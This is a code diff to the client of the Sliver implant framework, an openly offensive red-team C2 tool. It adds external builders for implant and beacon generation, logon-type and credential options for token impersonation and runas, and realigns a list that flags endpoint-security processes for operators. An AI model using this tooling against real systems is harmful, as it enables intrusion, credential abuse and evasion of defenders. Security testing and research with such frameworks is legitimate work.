"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -24,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
exportName := ctx.Flags.String("export")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -1,8 +1,26 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -31,9 +49,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
port := ctx.Flags.Uint("port")
|
||||
privateKeypath := ctx.Flags.String("private-key")
|
||||
if privateKeypath != "" {
|
||||
privKey, err = ioutil.ReadFile(privateKeypath)
|
||||
privateKeyPath := ctx.Flags.String("private-key")
|
||||
if privateKeyPath != "" {
|
||||
privKey, err = os.ReadFile(privateKeyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -51,7 +69,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
return
|
||||
}
|
||||
kerberosKeytab, err := ioutil.ReadFile(kerberosKeytabFile)
|
||||
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -31,7 +31,11 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
|
||||
@@ -1,10 +1,28 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -51,12 +69,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
arch := ctx.Flags.String("arch")
|
||||
proto := ctx.Flags.String("protocol")
|
||||
format := ctx.Flags.String("format")
|
||||
badchars := ctx.Flags.String("badchars")
|
||||
badChars := ctx.Flags.String("badchars")
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badchars) > 0 {
|
||||
for _, b := range strings.Split(badchars, " ") {
|
||||
if len(badChars) > 0 {
|
||||
for _, b := range strings.Split(badChars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
@@ -98,7 +116,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
|
||||
@@ -22,12 +22,11 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -36,6 +35,8 @@ import (
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -82,6 +83,9 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
ErrNoExternalBuilder = errors.New("no external builders are available")
|
||||
ErrNoValidBuilders = errors.New("no valid external builders for target")
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -94,7 +98,24 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
_, err := externalBuild(config, save, con)
|
||||
if err != nil {
|
||||
if err == ErrNoExternalBuilder {
|
||||
con.PrintErrorf("There are no external builders currently connected to the server\n")
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else if err == ErrNoValidBuilders {
|
||||
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
|
||||
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func expandPath(path string) string {
|
||||
@@ -118,7 +139,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
if strings.HasSuffix(save, "/") {
|
||||
log.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0700)
|
||||
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
@@ -132,7 +153,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
log.Printf("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
log.Printf("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
@@ -157,8 +178,9 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
return "Shared Library"
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
return "Shellcode"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
panic(fmt.Sprintf("Unknown format %v", value))
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
@@ -323,6 +345,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
TemplateName: ctx.Flags.String("template"),
|
||||
|
||||
WGPeerTunIP: tunIP.String(),
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
@@ -608,6 +631,130 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
potentialBuilders, err := findExternalBuilders(config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var externalBuilder *clientpb.Builder
|
||||
if len(potentialBuilders) == 1 {
|
||||
externalBuilder = potentialBuilders[0]
|
||||
} else {
|
||||
con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
|
||||
externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
|
||||
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
} else {
|
||||
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
}
|
||||
if config.ObfuscateSymbols {
|
||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
||||
} else if !config.Debug {
|
||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
}
|
||||
start := time.Now()
|
||||
|
||||
listenerID, listener := con.CreateEventListener()
|
||||
|
||||
waiting := true
|
||||
spinner := spin.New()
|
||||
|
||||
sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
|
||||
signal.Notify(sigint, os.Interrupt)
|
||||
|
||||
con.PrintInfof("Creating external build ... ")
|
||||
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
|
||||
Config: config,
|
||||
BuilderName: externalBuilder.Name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("done\n")
|
||||
|
||||
var name string
|
||||
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
|
||||
for waiting {
|
||||
select {
|
||||
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
elapsed := time.Since(start)
|
||||
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
|
||||
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
|
||||
|
||||
case event := <-listener:
|
||||
switch event.EventType {
|
||||
|
||||
case consts.ExternalBuildFailedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
return nil, fmt.Errorf("external build failed: %s", parts[1])
|
||||
}
|
||||
|
||||
case consts.AcknowledgeBuildEvent:
|
||||
if string(event.Data) == externalImplantConfig.Config.ID {
|
||||
msgF = "External build acknowledged by builder (template: %s) ... %s"
|
||||
}
|
||||
|
||||
case consts.ExternalBuildCompletedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
name = parts[1]
|
||||
waiting = false
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case <-sigint:
|
||||
waiting = false
|
||||
con.Printf("\n")
|
||||
return nil, fmt.Errorf("user interrupt")
|
||||
}
|
||||
}
|
||||
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
|
||||
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: name,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
|
||||
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
}
|
||||
con.PrintInfof("Implant saved to %s\n", saveTo)
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
@@ -635,9 +782,8 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, err
|
||||
}
|
||||
|
||||
end := time.Now()
|
||||
elapsed := time.Time{}.Add(end.Sub(start))
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
if len(generated.File.Data) == 0 {
|
||||
con.PrintErrorf("Build failed, no file data\n")
|
||||
return nil, errors.New("no file data")
|
||||
@@ -670,7 +816,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, fileData, 0700)
|
||||
err = os.WriteFile(saveTo, fileData, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
@@ -760,3 +906,48 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
|
||||
func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(builders.Builders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoExternalBuilder
|
||||
}
|
||||
|
||||
validBuilders := []*clientpb.Builder{}
|
||||
for _, builder := range builders.Builders {
|
||||
for _, target := range builder.Targets {
|
||||
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
|
||||
validBuilders = append(validBuilders, builder)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(validBuilders) < 1 {
|
||||
return []*clientpb.Builder{}, ErrNoValidBuilders
|
||||
}
|
||||
|
||||
return validBuilders, nil
|
||||
}
|
||||
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
|
||||
choices := []string{}
|
||||
for _, builder := range builders {
|
||||
choices = append(choices, builder.Name)
|
||||
}
|
||||
choice := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an external builder:",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &choice, nil)
|
||||
for _, builder := range builders {
|
||||
if builder.Name == choice {
|
||||
return builder, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoValidBuilders
|
||||
}
|
||||
@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
implantBuildFilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
@@ -65,6 +65,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"Template",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
@@ -103,9 +104,13 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
if config.TemplateName == "" {
|
||||
config.TemplateName = "sliver"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
config.TemplateName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
|
||||
@@ -20,7 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -51,7 +50,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to %s\n", err)
|
||||
return
|
||||
|
||||
@@ -105,6 +105,9 @@ var (
|
||||
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
|
||||
|
||||
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
|
||||
|
||||
// Builders
|
||||
consts.BuildersStr: buildersHelp,
|
||||
}
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
@@ -468,6 +471,16 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
`
|
||||
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
|
||||
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
|
||||
You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
|
||||
Valid types are:
|
||||
|
||||
LOGON_INTERACTIVE
|
||||
LOGON_NETWORK
|
||||
LOGON_BATCH
|
||||
LOGON_SERVICE
|
||||
LOGON_UNLOCK
|
||||
LOGON_NETWORK_CLEARTEXT
|
||||
LOGON_NEW_CREDENTIALS
|
||||
`
|
||||
|
||||
getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
|
||||
@@ -701,6 +714,13 @@ the target extension must have either of these two sets of permissions:
|
||||
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
|
||||
|
||||
More information: https://github.com/mandatoryprogrammer/CursedChrome
|
||||
`
|
||||
|
||||
buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
|
||||
[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
|
||||
|
||||
External builders allow the Sliver server offload implant builds onto external machines.
|
||||
For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -70,7 +70,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
if len(aesEncryptKey)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES Key\n")
|
||||
con.PrintErrorf("Incorrect length of AES Key\n")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -44,6 +44,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ip6 := ctx.Flags.Bool("ip6")
|
||||
tcp := ctx.Flags.Bool("tcp")
|
||||
udp := ctx.Flags.Bool("udp")
|
||||
numeric := ctx.Flags.Bool("numeric")
|
||||
|
||||
implantPID := getPID(session, beacon)
|
||||
activeC2 := getActiveC2(session, beacon)
|
||||
@@ -67,25 +68,21 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
})
|
||||
con.PrintAsyncResponse(netstat.Response)
|
||||
} else {
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
|
||||
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
|
||||
const IPv4Strlen = 17
|
||||
addr := skaddr.Ip
|
||||
names, err := net.LookupAddr(addr)
|
||||
if err == nil && len(names) > 0 {
|
||||
addr = names[0]
|
||||
}
|
||||
if len(addr) > IPv4Strlen {
|
||||
addr = addr[:IPv4Strlen]
|
||||
}
|
||||
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
|
||||
}
|
||||
|
||||
@@ -98,8 +95,12 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
|
||||
if entry.Process != nil {
|
||||
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
|
||||
}
|
||||
srcAddr := lookup(entry.LocalAddr)
|
||||
dstAddr := lookup(entry.RemoteAddr)
|
||||
srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
|
||||
dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
|
||||
if !numeric {
|
||||
srcAddr = lookup(entry.LocalAddr)
|
||||
dstAddr = lookup(entry.RemoteAddr)
|
||||
}
|
||||
if entry.Process != nil && entry.Process.Pid == implantPID {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
|
||||
|
||||
@@ -28,6 +28,16 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var logonTypes = map[string]uint32{
|
||||
"LOGON_INTERACTIVE": 2,
|
||||
"LOGON_NETWORK": 3,
|
||||
"LOGON_BATCH": 4,
|
||||
"LOGON_SERVICE": 5,
|
||||
"LOGON_UNLOCK": 7,
|
||||
"LOGON_NETWORK_CLEARTEXT": 8,
|
||||
"LOGON_NEW_CREDENTIALS": 9,
|
||||
}
|
||||
|
||||
// MakeTokenCmd - Windows only, create a token using "valid" credentails
|
||||
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
@@ -38,6 +48,12 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
logonType := ctx.Flags.String("logon-type")
|
||||
|
||||
if _, ok := logonTypes[logonType]; !ok {
|
||||
con.PrintErrorf("Invalid logon type: %s\n", logonType)
|
||||
return
|
||||
}
|
||||
|
||||
if username == "" || password == "" {
|
||||
con.PrintErrorf("Pou must provide a username and password\n")
|
||||
@@ -48,10 +64,11 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil("Creating new logon session ...", ctrl)
|
||||
|
||||
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
LogonType: logonTypes[logonType],
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -36,8 +36,12 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
showWindow := ctx.Flags.Bool("show-window")
|
||||
process := ctx.Flags.String("process")
|
||||
arguments := ctx.Flags.String("args")
|
||||
netonly := ctx.Flags.Bool("net-only")
|
||||
|
||||
if username == "" {
|
||||
con.PrintErrorf("Please specify a username\n")
|
||||
@@ -54,6 +58,10 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Username: username,
|
||||
ProcessName: process,
|
||||
Args: arguments,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
HideWindow: !showWindow,
|
||||
NetOnly: netonly,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
|
||||
@@ -21,6 +21,7 @@ package processes
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -39,11 +40,11 @@ var (
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
@@ -51,13 +52,13 @@ var (
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
